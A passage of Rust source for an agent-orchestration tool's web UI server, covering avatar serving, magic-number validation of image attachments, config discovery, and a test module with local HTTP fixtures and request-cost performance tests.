9873            return Ok(builtin_avatar(persona::DEFAULT_ID));
9874        }
9875        let Some(icon) = icon
9876            .as_deref()
9877            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
9878        else {
9879            return Ok(builtin_avatar(&wanted));
9880        };
9881        let Some(found) = found else {
9882            return Ok(raster_or_builtin(
9883                Some(icon),
9884                persona_icon::builtin_svg(&wanted),
9885            ));
9886        };
9887        match persona_icon::load(icon) {
9888            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9889                let mut res = attachment_response(mime, bytes);
9890                res.headers_mut().insert(
9891                    header::CACHE_CONTROL,
9892                    header::HeaderValue::from_static("no-cache"),
9893                );
9894                Ok(res)
9895            }
9896            Ok((mime, _)) => {
9897                tracing::warn!(
9898                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
9899                    found.id
9900                );
9901                Ok(builtin_avatar(&found.id))
9902            }
9903            Err(e) => {
9904                tracing::warn!(
9905                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
9906                    found.id
9907                );
9908                Ok(builtin_avatar(&found.id))
9909            }
9910        }
9911    })
9912    .await
9913}
9914
9915/// Validate an attachment upload's declared `Content-Type` and the bytes
9916/// themselves, returning the canonical mime on success.
9917///
9918/// Two checks, both required: the header has to name one of
9919/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
9920/// simply never in the list, active content rather than a picture, the same
9921/// exclusion [`asset_content_type`]'s doc explains), and the file's own
9922/// magic number has to agree. The second is what stops a mislabeled upload -
9923/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
9924/// a declared type is a claim, not a fact, so it is never trusted alone.
9925fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
9926    if data.len() > ATTACHMENT_MAX_BYTES {
9927        return Err(ApiError::bad_request(format!(
9928            "attachment is {} bytes, over the {} MiB limit",
9929            data.len(),
9930            ATTACHMENT_MAX_BYTES / (1024 * 1024)
9931        ))
9932        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
9933    }
9934    if data.is_empty() {
9935        return Err(ApiError::bad_request("attachment is empty"));
9936    }
9937    let declared = declared_mime(headers)?;
9938    match sniffed_mime(data) {
9939        Some(sniffed) if sniffed == declared => Ok(declared),
9940        Some(sniffed) => Err(ApiError::bad_request(format!(
9941            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
9942        ))),
9943        None => Err(ApiError::bad_request(
9944            "the file's bytes do not match any accepted image format",
9945        )),
9946    }
9947}
9948
9949/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
9950/// and nothing else - parameters like `; charset=` are stripped, but the
9951/// value itself is not otherwise interpreted.
9952fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
9953    let raw = headers
9954        .get(header::CONTENT_TYPE)
9955        .and_then(|v| v.to_str().ok())
9956        .unwrap_or("")
9957        .split(';')
9958        .next()
9959        .unwrap_or("")
9960        .trim()
9961        .to_ascii_lowercase();
9962    ATTACHMENT_MIME_WHITELIST
9963        .iter()
9964        .find(|&&m| m == raw)
9965        .copied()
9966        .ok_or_else(|| {
9967            if raw == "image/svg+xml" {
9968                ApiError::bad_request(
9969                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
9970                     not just a picture",
9971                )
9972            } else if raw.is_empty() {
9973                ApiError::bad_request("Content-Type is required for an attachment upload")
9974            } else {
9975                ApiError::bad_request(format!(
9976                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
9977                     image/gif or image/webp"
9978                ))
9979            }
9980        })
9981}
9982
9983/// Identify an image by its magic number, independent of whatever
9984/// `Content-Type` claimed.
9985fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
9986    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
9987        Some("image/png")
9988    } else if data.starts_with(b"\xff\xd8\xff") {
9989        Some("image/jpeg")
9990    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
9991        Some("image/gif")
9992    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
9993        Some("image/webp")
9994    } else {
9995        None
9996    }
9997}
9998
9999/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
10000/// display - see [`talk::Attachment::name`]'s doc on why it never
10001/// contributes to a path. A missing or blank header (curl without it, an
10002/// older front end) falls back to a generic name rather than refusing the
10003/// upload over a field that is cosmetic.
10004fn filename_header(headers: &HeaderMap) -> String {
10005    headers
10006        .get(FILENAME_HEADER)
10007        .and_then(|v| v.to_str().ok())
10008        .map(str::trim)
10009        .filter(|s| !s.is_empty())
10010        .unwrap_or("attachment")
10011        .to_owned()
10012}
10013
10014/// Every attachment `GET` response: the mime re-validated against the same
10015/// closed whitelist the upload route enforces - never the string trusted
10016/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
10017/// cannot decide it knows better than the type we send. Unlike a panel asset
10018/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
10019/// document renders inline, not agent-authored HTML in a sandboxed frame.
10020fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10021    let content_type = ATTACHMENT_MIME_WHITELIST
10022        .iter()
10023        .find(|&&m| m == mime)
10024        .copied()
10025        .unwrap_or("application/octet-stream");
10026    (
10027        [
10028            (header::CONTENT_TYPE, content_type),
10029            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10030        ],
10031        body,
10032    )
10033        .into_response()
10034}
10035
10036/// The configuration for a repository, read off the disk for this request.
10037///
10038/// Through [`blocking`] because discovery reads and merges several TOML files,
10039/// and because the alternative - caching it in [`Ui`] at startup - would mean
10040/// the operator's phone kept interviewing with a roster they had already
10041/// changed, with no way to reload it but restarting the server they are not
10042/// sitting in front of.
10043async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10044    let repo = repo.to_path_buf();
10045    blocking(move || {
10046        let (cfg, _) = Config::discover(&repo, None)?;
10047        Ok(cfg)
10048    })
10049    .await
10050}
10051
10052/// The one prefix rule, used for both runs and tasks: a leading match for a
10053/// full id, a trailing match for the short form an operator reads off a
10054/// report. Written here rather than borrowed from `queue::resolve_id` because
10055/// the UI needs the two failures as different status codes, and telling them
10056/// apart from an error message is not something to build a route on.
10057fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10058    let mut hits = ids
10059        .into_iter()
10060        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10061    match (hits.next(), hits.next()) {
10062        (Some(one), None) => Ok(one),
10063        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10064        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10065            "`{prefix}` matches more than one {what}, including {a} and {b}"
10066        ))),
10067    }
10068}
10069
10070#[cfg(test)]
10071mod tests {
10072
10073    #[test]
10074    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10075        let dir = tempfile::tempdir().unwrap();
10076        let store = ask::Questions::at(dir.path().join("questions"));
10077        let mut q = Question::new(
10078            "task".to_owned(),
10079            "conduct".to_owned(),
10080            "conduct".to_owned(),
10081            "choose".to_owned(),
10082            String::new(),
10083            vec!["keep".to_owned()],
10084        );
10085        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10086        q.say("why?").unwrap();
10087        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10088        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10089        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10090        store.put(&mut q).unwrap();
10091        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10092        assert_eq!(store.count_needs_owner(), 1);
10093        store.beat(&q.id, ask::WaiterKind::Deputy);
10094        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10095        assert_eq!(store.count_needs_owner(), 0);
10096        let mut stale = store.read_lease(&q.id).unwrap();
10097        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10098        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10099        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10100        assert!(view.deputy_exhausted);
10101        assert!(view.waiting_on_agent);
10102        assert_eq!(view.question.choices, ["keep"]);
10103        store.drop_lease(&q.id);
10104        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
10105        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
10106    }
10107
10108    #[test]
10109    fn holder_reads_the_lease_not_the_record() {
10110        let mut q = Question::new(
10111            "run".to_owned(),
10112            "implement".to_owned(),
10113            "impl-A".to_owned(),
10114            "which?".to_owned(),
10115            String::new(),
10116            Vec::new(),
10117        );
10118        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
10119        q.cwd = Some("/tmp".to_owned());
10120        assert_eq!(holder_of(&q, None), Some("nobody"));
10121        let beat = |kind, ago: i64| ask::Lease {
10122            kind,
10123            pid: 1,
10124            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
10125                .unwrap(),
10126        };
10127        let fresh = beat(ask::WaiterKind::Asker, 1);
10128        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
10129        let daemon = beat(ask::WaiterKind::Daemon, 1);
10130        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
10131        let stale = beat(ask::WaiterKind::Asker, 3600);
10132        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
10133
10134        // A conductor question says "deputy" only while one is attached and
10135        // alive, and "nobody" - never silence - when nothing ever listened.
10136        let mut c = Question::new(
10137            "task".to_owned(),
10138            crate::conduct::NODE.to_owned(),
10139            "conduct".to_owned(),
10140            "which?".to_owned(),
10141            String::new(),
10142            Vec::new(),
10143        );
10144        assert_eq!(holder_of(&c, None), Some("nobody"));
10145        c.cwd = Some("/tmp".to_owned());
10146        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
10147        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
10148        let deputy = beat(ask::WaiterKind::Deputy, 1);
10149        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
10150        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
10151
10152        // A release-watch question: nobody until a deputy is attached.
10153        let mut r = Question::new(
10154            String::new(),
10155            crate::bump::NOTICE_NODE.to_owned(),
10156            "release-watch".to_owned(),
10157            "stuck?".to_owned(),
10158            String::new(),
10159            vec!["hold".to_owned()],
10160        );
10161        assert_eq!(holder_of(&r, None), Some("nobody"));
10162        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
10163        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
10164        // A choice-less bump notice is nobody's question at all.
10165        r.deputy = None;
10166        r.seat = "bump".to_owned();
10167        assert_eq!(holder_of(&r, None), None);
10168
10169        // A merge approval is the same: nobody until a deputy is attached
10170        // and alive, never a silent "no holder".
10171        let mut m = Question::new(
10172            "run".to_owned(),
10173            crate::land::APPROVAL_NODE.to_owned(),
10174            "land".to_owned(),
10175            "merge?".to_owned(),
10176            String::new(),
10177            Vec::new(),
10178        );
10179        assert_eq!(holder_of(&m, None), Some("nobody"));
10180        assert_eq!(
10181            holder_of(&m, Some(&fresh)),
10182            Some("asker"),
10183            "a live explicit wait is a listener even before a deputy is attached"
10184        );
10185        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
10186        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
10187        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
10188        assert_eq!(holder_of(&m, None), Some("nobody"));
10189    }
10190
10191    fn stub_config() -> Config {
10192        // An explicit roster, so the result never depends on which agent CLIs
10193        // this machine has installed.
10194        Config {
10195            agents: vec![crate::config::AgentSpec {
10196                id: "stub".to_owned(),
10197                kind: AgentKind::Command,
10198                model: None,
10199                command: vec!["true".to_owned()],
10200                extra_args: Vec::new(),
10201                env: Default::default(),
10202                prompt_delivery: None,
10203            }],
10204            ..Config::default()
10205        }
10206    }
10207
10208    fn plain_question(seat: &str) -> Question {
10209        Question::new(
10210            String::new(),
10211            "n".to_owned(),
10212            seat.to_owned(),
10213            "s".to_owned(),
10214            String::new(),
10215            Vec::new(),
10216        )
10217    }
10218
10219    #[test]
10220    fn deputies_enabled_follows_the_config() {
10221        let on = stub_config();
10222        assert!(crate::deputy::can_start(Some(&on), ""));
10223        assert!(crate::deputy::can_start(Some(&on), "stub"));
10224        let mut off = on.clone();
10225        off.daemon.max_deputies = 0;
10226        assert!(!crate::deputy::can_start(Some(&off), ""));
10227        let mut empty = on;
10228        empty.agents.clear();
10229        assert!(!crate::deputy::can_start(Some(&empty), ""));
10230        assert!(!crate::deputy::can_start(None, ""));
10231    }
10232
10233    #[test]
10234    fn question_views_load_the_config_once() {
10235        let dir = TempDir::new().unwrap();
10236        let store = ask::Questions::at(dir.path().to_path_buf());
10237        let mut with_deputy = plain_question("b");
10238        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
10239        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
10240
10241        let calls = std::cell::Cell::new(0usize);
10242        let views = question_views(qs.clone(), &store, || {
10243            calls.set(calls.get() + 1);
10244            Some(stub_config())
10245        });
10246        assert_eq!(calls.get(), 1);
10247        assert_eq!(views.len(), 3);
10248        for (v, q) in views.iter().zip(&qs) {
10249            assert_eq!(
10250                v.deputies_enabled,
10251                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
10252            );
10253        }
10254
10255        let views = question_views(qs, &store, || None);
10256        assert!(views.iter().all(|v| !v.deputies_enabled));
10257
10258        let calls = std::cell::Cell::new(0usize);
10259        let views = question_views(Vec::new(), &store, || {
10260            calls.set(calls.get() + 1);
10261            None
10262        });
10263        assert!(views.is_empty());
10264        assert_eq!(calls.get(), 0);
10265    }
10266
10267    use pretty_assertions::assert_eq;
10268    use serde_json::Value;
10269    use tempfile::TempDir;
10270    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
10271
10272    use super::*;
10273    use crate::config::Config;
10274    use crate::queue::Source;
10275
10276    /// How many 10ms steps a settle loop takes before it calls a stall a
10277    /// stall - thirty seconds.
10278    ///
10279    /// These loops wait on real `sh` subprocesses, and the machine that runs
10280    /// the gate runs several suites at once, so a two-second budget was not
10281    /// waiting for the reply, it was racing the scheduler: two of these
10282    /// tests failed under that load with the turn simply not landed yet.
10283    /// This is a hang guard, not a latency assertion - every loop breaks the
10284    /// moment its condition holds, so a generous cap costs an idle machine
10285    /// nothing and still fails a genuine hang instead of hanging the suite.
10286    const SETTLE_STEPS: usize = 3_000;
10287
10288    /// A home with a queue and a runs directory, and a router serving it on
10289    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
10290    /// dependency, not ours - so the tests drive a real socket, which has the
10291    /// side benefit of asserting the status line and content types the phone
10292    /// actually receives.
10293    struct Fixture {
10294        home: TempDir,
10295        addr: SocketAddr,
10296    }
10297
10298    impl Fixture {
10299        async fn start() -> Self {
10300            Self::with_loop(launch_idle).await
10301        }
10302
10303        /// A fixture whose loop is `launch`.
10304        async fn with_loop(launch: Launch) -> Self {
10305            let home = TempDir::new().expect("temp home");
10306            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
10307            Self { home, addr }
10308        }
10309
10310        /// A fixture whose `ui.repo` is a real directory rather than the
10311        /// usual placeholder - for the routes that read config off it
10312        /// (`GET /api/repos`) and would otherwise have nothing to discover.
10313        async fn with_repo(repo: PathBuf) -> Self {
10314            let home = TempDir::new().expect("temp home");
10315            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
10316            Self { home, addr }
10317        }
10318
10319        /// As [`Fixture::with_repo`], with the machine-config file the
10320        /// settings screen reads and writes.
10321        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
10322            let home = TempDir::new().expect("temp home");
10323            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
10324            Self { home, addr }
10325        }
10326
10327        async fn serve(
10328            home: &FsPath,
10329            repo: PathBuf,
10330            launch: Launch,
10331            machine: Option<PathBuf>,
10332        ) -> SocketAddr {
10333            let queue = Queue::at(home.join("queue"));
10334            let runs = home.join("runs");
10335            std::fs::create_dir_all(&runs).expect("runs dir");
10336            let worktrees = home.join("wt").join("magi");
10337            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
10338            let ui = Ui::new(
10339                queue,
10340                Questions::at(home.join("questions")),
10341                Talks::at(home.join("talks")),
10342                runs,
10343                home.to_path_buf(),
10344                repo,
10345            )
10346            .with_worktrees_root(worktrees)
10347            .with_machine_config(machine)
10348            .with_launch(launch);
10349            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10350                .await
10351                .expect("bind loopback");
10352            let addr = listener.local_addr().expect("local addr");
10353            tokio::spawn(async move {
10354                let router = ui
10355                    .router()
10356                    .layer(axum::middleware::from_fn(request_cost::observe));
10357                let _ = axum::serve(listener, router).await;
10358            });
10359            addr
10360        }
10361
10362        fn queue(&self) -> Queue {
10363            Queue::at(self.home.path().join("queue"))
10364        }
10365
10366        fn questions(&self) -> Questions {
10367            Questions::at(self.home.path().join("questions"))
10368        }
10369
10370        fn talks(&self) -> Talks {
10371            Talks::at(self.home.path().join("talks"))
10372        }
10373
10374        fn runs(&self) -> PathBuf {
10375            self.home.path().join("runs")
10376        }
10377
10378        async fn get(&self, path: &str) -> Res {
10379            request(self.addr, "GET", path, None).await
10380        }
10381
10382        /// The status and headers without the body, which is how the front end
10383        /// preflights a panel: a sandboxed frame is opaque to the parent
10384        /// document, so the only way to tell "no panel" from "a panel that
10385        /// rendered blank" is to ask before mounting.
10386        async fn head(&self, path: &str) -> Res {
10387            request(self.addr, "HEAD", path, None).await
10388        }
10389
10390        async fn post(&self, path: &str, body: Option<&str>) -> Res {
10391            request(self.addr, "POST", path, body).await
10392        }
10393
10394        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
10395            request_with(self.addr, "GET", path, None, extra).await
10396        }
10397
10398        async fn delete(&self, path: &str) -> Res {
10399            request(self.addr, "DELETE", path, None).await
10400        }
10401
10402        async fn put(&self, path: &str, body: &str) -> Res {
10403            request(self.addr, "PUT", path, Some(body)).await
10404        }
10405
10406        /// `POST` a raw body with its own headers - see [`request_bytes`].
10407        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
10408            request_bytes(self.addr, path, headers, body).await
10409        }
10410    }
10411
10412    /// Real tracking refs exercise the successful discovery path (including
10413    /// extraction), rather than counting cheap failures on a placeholder repo.
10414    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
10415        let tmp = TempDir::new().unwrap();
10416        let mut repos = Vec::new();
10417        for name in ["one", "two"] {
10418            let repo = tmp.path().join(name);
10419            let origin = tmp.path().join(format!("{name}.git"));
10420            std::fs::create_dir_all(&repo).unwrap();
10421            crate::git::git(&repo, &["init", "-b", "main"])
10422                .await
10423                .unwrap();
10424            std::fs::write(
10425                repo.join("magi.toml"),
10426                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
10427            )
10428            .unwrap();
10429            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
10430            crate::git::git(
10431                &repo,
10432                &[
10433                    "-c",
10434                    "user.name=fixture",
10435                    "-c",
10436                    "user.email=fixture@example.invalid",
10437                    "commit",
10438                    "-m",
10439                    "fixture",
10440                ],
10441            )
10442            .await
10443            .unwrap();
10444            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
10445                .await
10446                .unwrap();
10447            crate::git::git(
10448                &repo,
10449                &["remote", "add", "origin", origin.to_str().unwrap()],
10450            )
10451            .await
10452            .unwrap();
10453            crate::git::git(&repo, &["push", "origin", "main"])
10454                .await
10455                .unwrap();
10456            crate::git::git(
10457                &repo,
10458                &[
10459                    "symbolic-ref",
10460                    "refs/remotes/origin/HEAD",
10461                    "refs/remotes/origin/main",
10462                ],
10463            )
10464            .await
10465            .unwrap();
10466            let (cfg, _) = Config::discover(&repo, None).unwrap();
10467            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
10468            repos.push(repo);
10469        }
10470        let repos: [PathBuf; 2] = repos.try_into().unwrap();
10471        (tmp, repos)
10472    }
10473
10474    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
10475        let (tmp, repos) = performance_repositories().await;
10476        let machine = tmp.path().join("machine.toml");
10477        std::fs::write(&machine, "").unwrap();
10478        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
10479        (tmp, repos, fx)
10480    }
10481
10482    fn seed_performance(
10483        fx: &Fixture,
10484        repos: &[PathBuf; 2],
10485        questions: usize,
10486        runs: usize,
10487        items: usize,
10488    ) {
10489        // Saving states directly never starts a run or changes MAGI_HOME.
10490        for i in fx.questions().list().len()..questions {
10491            let mut question = Question::new(
10492                "20261001-000000-0000".into(),
10493                "implement".into(),
10494                "impl-A".into(),
10495                format!("question {i}"),
10496                "context".into(),
10497                vec!["yes".into(), "no".into()],
10498            );
10499            question.id = format!("20261003-000000-{i:04x}");
10500            fx.questions().put(&mut question).unwrap();
10501        }
10502        for i in run_ids(&fx.runs()).len()..runs {
10503            write_run_repo(
10504                &fx.runs(),
10505                &format!("20261001-000000-{i:04x}"),
10506                RunStatus::Ready,
10507                repos[i % 2].to_str().unwrap(),
10508            );
10509        }
10510        for i in fx.talks().list().len()..items {
10511            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
10512            let mut talk = fx.talks().get(&id).unwrap();
10513            talk.repo = repos[i % 2].clone();
10514            fx.talks().put(&mut talk).unwrap();
10515            let mut task = crate::queue::Task::new(
10516                format!("task {i}"),
10517                "instruction".into(),
10518                repos[i % 2].clone(),
10519                crate::queue::Source::Agent {
10520                    run: id,
10521                    node: crate::queue::CHAT_NODE.into(),
10522                },
10523            );
10524            task.id = format!("20261004-000000-{i:04x}");
10525            fx.queue().put(&mut task).unwrap();
10526            // Notices has a production retention cap; seed up to that cap.
10527            if i < crate::notices::CAP {
10528                Notices::at(fx.home.path().join("notifications"))
10529                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
10530                    .unwrap();
10531            }
10532        }
10533        assert_eq!(fx.questions().list().len(), questions);
10534        assert_eq!(run_ids(&fx.runs()).len(), runs);
10535        assert_eq!(fx.talks().list().len(), items);
10536        assert_eq!(fx.queue().list().len(), items);
10537        assert_eq!(
10538            Notices::at(fx.home.path().join("notifications"))
10539                .list()
10540                .len(),
10541            items.min(crate::notices::CAP)
10542        );
10543    }
10544
10545    fn request_counts(res: &Res) -> (usize, usize) {
10546        assert_eq!(res.status, 200, "{}", res.body);
10547        (
10548            res.header("x-test-discoveries").unwrap().parse().unwrap(),
10549            res.header("x-test-git").unwrap().parse().unwrap(),
10550        )
10551    }
10552
10553    #[tokio::test]
10554    async fn list_request_cost_is_independent_of_record_count() {
10555        let (_tmp, repos, fx) = performance_fixture().await;
10556        let mut previous = None;
10557        for n in [4, 60] {
10558            seed_performance(&fx, &repos, n, n, n);
10559            let mut costs = Vec::new();
10560            for (path, discoveries) in [
10561                ("/api/questions", 1),
10562                ("/api/talks", 2),
10563                ("/api/health", 1),
10564                ("/api/stats", 1),
10565            ] {
10566                // Equal cold extraction caches at both scales; this also
10567                // bounds first-request cost instead of only warmed requests.
10568                for repo in &repos {
10569                    let cache = repo.join(".git/magi/config");
10570                    if cache.exists() {
10571                        std::fs::remove_dir_all(cache).unwrap();
10572                    }
10573                }
10574                let cost = request_counts(&fx.get(path).await);
10575                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
10576                assert_eq!(cost.0, discoveries, "{path}, N={n}");
10577                assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
10578                costs.push(cost);
10579            }
10580            if let Some(previous) = previous {
10581                assert_eq!(costs, previous);
10582            }
10583            previous = Some(costs);
10584        }
10585        // runs reads shared row inputs and probes process liveness; queue
10586        // builds one blocker inventory; notifications reads its own store.
10587        // None discovers configuration or spawns git per item.
10588    }
10589
10590    /// The same handler path without transport, so the deterministic cause
10591    /// can also be checked in environments that prohibit binding sockets.
10592    #[tokio::test]
10593    async fn list_handler_cost_without_transport() {
10594        let (_tmp, repos) = performance_repositories().await;
10595        let fx = Fixture {
10596            home: TempDir::new().unwrap(),
10597            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10598        };
10599        let ui = Arc::new(
10600            Ui::new(
10601                fx.queue(),
10602                fx.questions(),
10603                fx.talks(),
10604                fx.runs(),
10605                fx.home.path().to_path_buf(),
10606                repos[0].clone(),
10607            )
10608            .with_worktrees_root(fx.home.path().join("wt")),
10609        );
10610        let mut previous = None;
10611        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
10612            seed_performance(&fx, &repos, n, runs, items);
10613            let mut costs = Vec::new();
10614            for endpoint in ["questions", "talks", "health", "stats"] {
10615                for repo in &repos {
10616                    let cache = repo.join(".git/magi/config");
10617                    if cache.exists() {
10618                        std::fs::remove_dir_all(cache).unwrap();
10619                    }
10620                }
10621                let (_, cost) = request_cost::measure(async {
10622                    match endpoint {
10623                        "questions" => {
10624                            let _ = questions_list(State(ui.clone())).await.unwrap();
10625                        }
10626                        "talks" => {
10627                            let _ = talks_list(
10628                                State(ui.clone()),
10629                                Query(ListQuery {
10630                                    limit: None,
10631                                    ids: None,
10632                                }),
10633                            )
10634                            .await
10635                            .unwrap();
10636                        }
10637                        "health" => {
10638                            let _ = health(State(ui.clone())).await.unwrap();
10639                        }
10640                        _ => {
10641                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
10642                                .await
10643                                .unwrap();
10644                        }
10645                    }
10646                })
10647                .await;
10648                eprintln!("{endpoint} handler N={n}: {cost:?}");
10649                assert_eq!(
10650                    cost.0,
10651                    if endpoint == "talks" { 2 } else { 1 },
10652                    "{endpoint}"
10653                );
10654                assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
10655                costs.push(cost);
10656            }
10657            if let Some(previous) = previous {
10658                assert_eq!(costs, previous);
10659            }
10660            previous = Some(costs);
10661        }
10662    }
10663
10664    #[tokio::test]
10665    async fn list_request_cost_scopes_do_not_mix() {
10666        let (_tmp, repos, fx) = performance_fixture().await;
10667        seed_performance(&fx, &repos, 10, 0, 10);
10668        let (questions, talks, notices) = tokio::join!(
10669            fx.get("/api/questions"),
10670            fx.get("/api/talks"),
10671            fx.get("/api/notifications")
10672        );
10673        assert_eq!(request_counts(&questions).0, 1);
10674        assert_eq!(request_counts(&talks).0, 2);
10675        assert_eq!(request_counts(&notices), (0, 0));
10676    }
10677
10678    #[tokio::test]
10679    async fn list_endpoints_large_home_ceiling() {
10680        let (_tmp, repos, fx) = performance_fixture().await;
10681        seed_performance(&fx, &repos, 200, 300, 400);
10682        let mut failures = Vec::new();
10683        // app.js boot/change loads plus the initial dashboard, settings and
10684        // repo picker. SSE is a persistent stream, not a bounded GET.
10685        for path in [
10686            "/",
10687            "/app.js",
10688            "/app.css",
10689            "/api/questions",
10690            "/api/runs?limit=300",
10691            "/api/queue",
10692            "/api/talks",
10693            "/api/notifications",
10694            "/api/health",
10695            "/api/stats",
10696            "/api/loop",
10697            "/api/settings",
10698            "/api/repos",
10699        ] {
10700            let start = std::time::Instant::now();
10701            let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
10702            let elapsed = start.elapsed();
10703            eprintln!("{path}: {elapsed:?}");
10704            match result {
10705                Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
10706                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
10707                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
10708            }
10709        }
10710        assert!(failures.is_empty(), "{}", failures.join("\n"));
10711    }
10712
10713    struct Res {
10714        status: u16,
10715        headers: String,
10716        /// The header block with its original casing, for the assertions that
10717        /// compare a header *value* rather than looking for a name. Lowercasing
10718        /// a CSP would hide a directive spelled with a capital letter, and the
10719        /// whole point of that test is that the string is exactly right.
10720        head: String,
10721        body: String,
10722        /// The body before any UTF-8 handling, for the routes that serve
10723        /// something other than text. A panel asset is a PNG as often as not,
10724        /// and `from_utf8_lossy` would silently replace half of it.
10725        bytes: Vec<u8>,
10726    }
10727
10728    impl Res {
10729        fn json(&self) -> Value {
10730            serde_json::from_str(&self.body)
10731                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
10732        }
10733
10734        /// One header's value verbatim, or `None` when it was not sent.
10735        fn header(&self, name: &str) -> Option<&str> {
10736            self.head.lines().find_map(|line| {
10737                let (key, value) = line.split_once(':')?;
10738                key.trim()
10739                    .eq_ignore_ascii_case(name)
10740                    .then(|| value.trim_start().trim_end_matches('\r'))
10741            })
10742        }
10743    }
10744
10745    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
10746    /// be read to end-of-stream without parsing framing.
10747    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
10748        request_with(addr, method, path, body, &[]).await
10749    }
10750
10751    /// As [`request`], with extra request headers - conditional GETs need
10752    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
10753    /// worse than one that sets none.
10754    async fn request_with(
10755        addr: SocketAddr,
10756        method: &str,
10757        path: &str,
10758        body: Option<&str>,
10759        extra: &[(&str, &str)],
10760    ) -> Res {
10761        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
10762        for (name, value) in extra {
